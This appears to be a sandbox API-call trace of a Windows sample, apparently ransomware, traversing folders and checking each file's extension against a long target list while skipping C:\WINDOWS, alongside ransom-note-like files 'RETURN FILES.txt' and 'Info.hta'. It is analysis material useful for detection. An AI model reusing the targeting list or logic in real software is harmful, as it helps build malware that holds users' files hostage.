	[0059.720] lstrcmpiW (lpString1="io.sys", lpString2="desktop.ini") returned 1
	[0059.720] lstrcmpiW (lpString1="RETURN FILES.txt", lpString2="desktop.ini") returned 1
	[0059.720] lstrcmpiW (lpString1="Info.hta", lpString2="desktop.ini") returned 1
	[0059.720] lstrcmpiW (lpString1="payload2.exe", lpString2="desktop.ini") returned 1
	[0059.720] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36
	[0059.720] FindNextFileW (in: hFindFile=0x5e02f0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
	[0059.721] FindClose (in: hFindFile=0x5e02f0 | out: hFindFile=0x5e02f0) returned 1
	[0059.721] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0059.721] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1
	[0059.721] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000") returned 61
	[0059.721] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000") returned 1
	[0059.721] lstrlenW (lpString="S-1-5-21-1051304884-625712362-2192934891-1000") returned 45
	[0059.721] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="S-1-5-21-1051304884-625712362-2192934891-1000") returned -1
	[0059.721] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4250058
	[0059.721] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000") returned 61
	[0059.721] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e06b0
	[0059.722] FindNextFileW (in: hFindFile=0x5e06b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0059.722] FindNextFileW (in: hFindFile=0x5e06b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xcb9438a8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0059.722] lstrlenW (lpString="desktop.ini") returned 11
	[0059.722] lstrlenW (lpString=".1cd") returned 4
	[0059.722] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0059.722] lstrlenW (lpString=".3ds") returned 4
	[0059.722] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1
	[0059.722] lstrlenW (lpString=".3fr") returned 4
	[0059.722] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1
	[0059.722] lstrlenW (lpString=".3g2") returned 4
	[0059.722] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1
	[0059.722] lstrlenW (lpString=".3gp") returned 4
	[0059.722] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1
	[0059.722] lstrlenW (lpString=".7z") returned 3
	[0059.722] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0059.722] lstrlenW (lpString=".accda") returned 6
	[0059.722] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1
	[0059.722] lstrlenW (lpString=".accdb") returned 6
	[0059.722] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1
	[0059.722] lstrlenW (lpString=".accdc") returned 6
	[0059.722] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1
	[0059.722] lstrlenW (lpString=".accde") returned 6
	[0059.723] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1
	[0059.723] lstrlenW (lpString=".accdt") returned 6
	[0059.723] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1
	[0059.723] lstrlenW (lpString=".accdw") returned 6
	[0059.723] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1
	[0059.723] lstrlenW (lpString=".adb") returned 4
	[0059.723] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1
	[0059.723] lstrlenW (lpString=".adp") returned 4
	[0059.723] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1
	[0059.723] lstrlenW (lpString=".ai") returned 3
	[0059.723] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1
	[0059.723] lstrlenW (lpString=".ai3") returned 4
	[0059.723] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1
	[0059.723] lstrlenW (lpString=".ai4") returned 4
	[0059.723] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1
	[0059.723] lstrlenW (lpString=".ai5") returned 4
	[0059.723] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1
	[0059.723] lstrlenW (lpString=".ai6") returned 4
	[0059.723] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1
	[0059.723] lstrlenW (lpString=".ai7") returned 4
	[0059.723] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1
	[0059.723] lstrlenW (lpString=".ai8") returned 4
	[0059.723] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1
	[0059.723] lstrlenW (lpString=".anim") returned 5
	[0059.723] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1
	[0059.723] lstrlenW (lpString=".arw") returned 4
	[0059.723] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1
	[0059.723] lstrlenW (lpString=".as") returned 3
	[0059.723] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1
	[0059.723] lstrlenW (lpString=".asa") returned 4
	[0059.723] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1
	[0059.723] lstrlenW (lpString=".asc") returned 4
	[0059.724] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1
	[0059.724] lstrlenW (lpString=".ascx") returned 5
	[0059.724] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1
	[0059.724] lstrlenW (lpString=".asm") returned 4
	[0059.724] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1
	[0059.724] lstrlenW (lpString=".asmx") returned 5
	[0059.724] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1
	[0059.724] lstrlenW (lpString=".asp") returned 4
	[0059.724] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1
	[0059.724] lstrlenW (lpString=".aspx") returned 5
	[0059.724] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1
	[0059.724] lstrlenW (lpString=".asr") returned 4
	[0059.724] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1
	[0059.724] lstrlenW (lpString=".asx") returned 4
	[0059.724] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1
	[0059.724] lstrlenW (lpString=".avi") returned 4
	[0059.724] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1
	[0059.724] lstrlenW (lpString=".avs") returned 4
	[0059.724] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1
	[0059.724] lstrlenW (lpString=".backup") returned 7
	[0059.724] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1
	[0059.724] lstrlenW (lpString=".bak") returned 4
	[0059.724] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1
	[0059.724] lstrlenW (lpString=".bay") returned 4
	[0059.724] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1
	[0059.724] lstrlenW (lpString=".bd") returned 3
	[0059.724] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1
	[0059.724] lstrlenW (lpString=".bin") returned 4
	[0059.724] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1
	[0059.724] lstrlenW (lpString=".bmp") returned 4
	[0059.724] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1
	[0059.724] lstrlenW (lpString=".bz2") returned 4
	[0059.725] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0059.725] lstrlenW (lpString=".c") returned 2
	[0059.725] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1
	[0059.725] lstrlenW (lpString=".cdr") returned 4
	[0059.725] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1
	[0059.725] lstrlenW (lpString=".cer") returned 4
	[0059.725] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1
	[0059.725] lstrlenW (lpString=".cf") returned 3
	[0059.725] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1
	[0059.725] lstrlenW (lpString=".cfc") returned 4
	[0059.725] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1
	[0059.725] lstrlenW (lpString=".cfm") returned 4
	[0059.725] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1
	[0059.725] lstrlenW (lpString=".cfml") returned 5
	[0059.725] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1
	[0059.725] lstrlenW (lpString=".cfu") returned 4
	[0059.725] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1
	[0059.725] lstrlenW (lpString=".chm") returned 4
	[0059.725] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1
	[0059.725] lstrlenW (lpString=".cin") returned 4
	[0059.725] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1
	[0059.725] lstrlenW (lpString=".class") returned 6
	[0059.725] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1
	[0059.725] lstrlenW (lpString=".clx") returned 4
	[0059.725] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1
	[0059.725] lstrlenW (lpString=".config") returned 7
	[0059.725] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1
	[0059.725] lstrlenW (lpString=".cpp") returned 4
	[0059.725] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1
	[0059.725] lstrlenW (lpString=".cr2") returned 4
	[0059.725] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1
	[0059.725] lstrlenW (lpString=".crt") returned 4
	[0059.726] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1
	[0059.726] lstrlenW (lpString=".crw") returned 4
	[0059.726] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1
	[0059.726] lstrlenW (lpString=".cs") returned 3
	[0059.726] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1
	[0059.726] lstrlenW (lpString=".css") returned 4
	[0059.726] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1
	[0059.726] lstrlenW (lpString=".csv") returned 4
	[0059.726] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1
	[0059.726] lstrlenW (lpString=".cub") returned 4
	[0059.726] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1
	[0059.726] lstrlenW (lpString=".dae") returned 4
	[0059.726] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1
	[0060.063] lstrlenW (lpString=".dat") returned 4
	[0060.063] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1
	[0060.063] lstrlenW (lpString=".db") returned 3
	[0060.063] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1
	[0060.063] lstrlenW (lpString=".dbf") returned 4
	[0060.063] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0060.063] lstrlenW (lpString=".dbx") returned 4
	[0060.063] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1
	[0060.063] lstrlenW (lpString=".dc3") returned 4
	[0060.063] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1
	[0060.063] lstrlenW (lpString=".dcm") returned 4
	[0060.063] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1
	[0060.063] lstrlenW (lpString=".dcr") returned 4
	[0060.063] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1
	[0060.063] lstrlenW (lpString=".der") returned 4
	[0060.063] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1
	[0060.063] lstrlenW (lpString=".dib") returned 4
	[0060.063] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1
	[0060.063] lstrlenW (lpString=".dic") returned 4
	[0060.063] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1
	[0060.063] lstrlenW (lpString=".dif") returned 4
	[0060.063] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1
	[0060.063] lstrlenW (lpString=".divx") returned 5
	[0060.063] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1
	[0060.063] lstrlenW (lpString=".djvu") returned 5
	[0060.063] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1
	[0060.063] lstrlenW (lpString=".dng") returned 4
	[0060.063] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1
	[0060.064] lstrlenW (lpString=".doc") returned 4
	[0060.064] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0060.064] lstrlenW (lpString=".docm") returned 5
	[0060.064] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1
	[0060.064] lstrlenW (lpString=".docx") returned 5
	[0060.064] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0060.064] lstrlenW (lpString=".dot") returned 4
	[0060.064] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1
	[0060.064] lstrlenW (lpString=".dotm") returned 5
	[0060.064] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1
	[0060.064] lstrlenW (lpString=".dotx") returned 5
	[0060.064] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1
	[0060.064] lstrlenW (lpString=".dpx") returned 4
	[0060.064] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1
	[0060.064] lstrlenW (lpString=".dqy") returned 4
	[0060.064] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1
	[0060.064] lstrlenW (lpString=".dsn") returned 4
	[0060.064] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1
	[0060.064] lstrlenW (lpString=".dt") returned 3
	[0060.064] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1
	[0060.064] lstrlenW (lpString=".dtd") returned 4
	[0060.064] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1
	[0060.064] lstrlenW (lpString=".dwg") returned 4
	[0060.064] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1
	[0060.064] lstrlenW (lpString=".dwt") returned 4
	[0060.064] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1
	[0060.064] lstrlenW (lpString=".dx") returned 3
	[0060.064] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1
	[0060.064] lstrlenW (lpString=".dxf") returned 4
	[0060.064] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1
	[0060.064] lstrlenW (lpString=".edml") returned 5
	[0060.064] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1
	[0060.064] lstrlenW (lpString=".efd") returned 4
	[0060.065] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1
	[0060.065] lstrlenW (lpString=".elf") returned 4
	[0060.065] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1
	[0060.065] lstrlenW (lpString=".emf") returned 4
	[0060.065] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1
	[0060.065] lstrlenW (lpString=".emz") returned 4
	[0060.065] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1
	[0060.065] lstrlenW (lpString=".epf") returned 4
	[0060.065] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1
	[0060.065] lstrlenW (lpString=".eps") returned 4
	[0060.065] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1
	[0060.065] lstrlenW (lpString=".epsf") returned 5
	[0060.065] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1
	[0060.065] lstrlenW (lpString=".epsp") returned 5
	[0060.065] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1
	[0060.065] lstrlenW (lpString=".erf") returned 4
	[0060.065] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1
	[0060.065] lstrlenW (lpString=".exr") returned 4
	[0060.065] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1
	[0060.065] lstrlenW (lpString=".f4v") returned 4
	[0060.065] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1
	[0060.065] lstrlenW (lpString=".fido") returned 5
	[0060.065] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1
	[0060.065] lstrlenW (lpString=".flm") returned 4
	[0060.065] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1
	[0060.065] lstrlenW (lpString=".flv") returned 4
	[0060.065] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1
	[0060.065] lstrlenW (lpString=".frm") returned 4
	[0060.065] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1
	[0060.066] FindNextFileW (in: hFindFile=0x5e06b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xcb9438a8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
	[0060.066] FindClose (in: hFindFile=0x5e06b0 | out: hFindFile=0x5e06b0) returned 1
	[0060.066] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0060.066] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0
	[0060.066] FindClose (in: hFindFile=0x5e0670 | out: hFindFile=0x5e0670) returned 1
	[0060.066] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0060.067] FindNextFileW (in: hFindFile=0x5e0830, lpFindFileData=0x389fcf8 | out: lpFindFileData=0x389fcf8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1
	[0060.067] FindNextFileW (in: hFindFile=0x5e0830, lpFindFileData=0x389fcf8 | out: lpFindFileData=0x389fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1
	[0060.067] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3c40080
	[0060.068] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0060.068] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x5e0670
	[0060.162] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0060.163] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1025", cAlternateFileName="")) returned 1
	[0060.163] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025") returned 26
	[0060.163] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\588bce7c90097ed212\\1025") returned 1
	[0060.163] lstrlenW (lpString="1025") returned 4
	[0060.163] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="1025") returned 1
	[0060.163] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4240050
	[0060.164] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025") returned 26
	[0060.164] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e04b0
	[0060.165] FindNextFileW (in: hFindFile=0x5e04b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0060.165] FindNextFileW (in: hFindFile=0x5e04b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0060.165] lstrlenW (lpString="eula.rtf") returned 8
	[0060.165] lstrlenW (lpString=".1cd") returned 4
	[0060.165] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0060.165] lstrlenW (lpString=".3ds") returned 4
	[0060.165] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1
	[0060.165] lstrlenW (lpString=".3fr") returned 4
	[0060.165] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1
	[0060.165] lstrlenW (lpString=".3g2") returned 4
	[0060.165] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1
	[0060.165] lstrlenW (lpString=".3gp") returned 4
	[0060.165] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1
	[0060.165] lstrlenW (lpString=".7z") returned 3
	[0060.165] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0060.165] lstrlenW (lpString=".accda") returned 6
	[0060.165] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1
	[0060.165] lstrlenW (lpString=".accdb") returned 6
	[0060.166] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1
	[0060.166] lstrlenW (lpString=".accdc") returned 6
	[0060.166] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1
	[0060.166] lstrlenW (lpString=".accde") returned 6
	[0060.166] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1
	[0060.166] lstrlenW (lpString=".accdt") returned 6
	[0060.166] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1
	[0060.166] lstrlenW (lpString=".accdw") returned 6
	[0060.166] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1
	[0060.166] lstrlenW (lpString=".adb") returned 4
	[0060.166] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1
	[0060.166] lstrlenW (lpString=".adp") returned 4
	[0060.166] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1
	[0060.166] lstrlenW (lpString=".ai") returned 3
	[0060.166] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1
	[0060.166] lstrlenW (lpString=".ai3") returned 4
	[0060.166] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1
	[0060.166] lstrlenW (lpString=".ai4") returned 4
	[0060.166] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1
	[0060.166] lstrlenW (lpString=".ai5") returned 4
	[0060.166] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1
	[0060.166] lstrlenW (lpString=".ai6") returned 4
	[0060.166] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1
	[0060.166] lstrlenW (lpString=".ai7") returned 4
	[0060.166] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1
	[0060.166] lstrlenW (lpString=".ai8") returned 4
	[0060.166] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1
	[0060.166] lstrlenW (lpString=".anim") returned 5
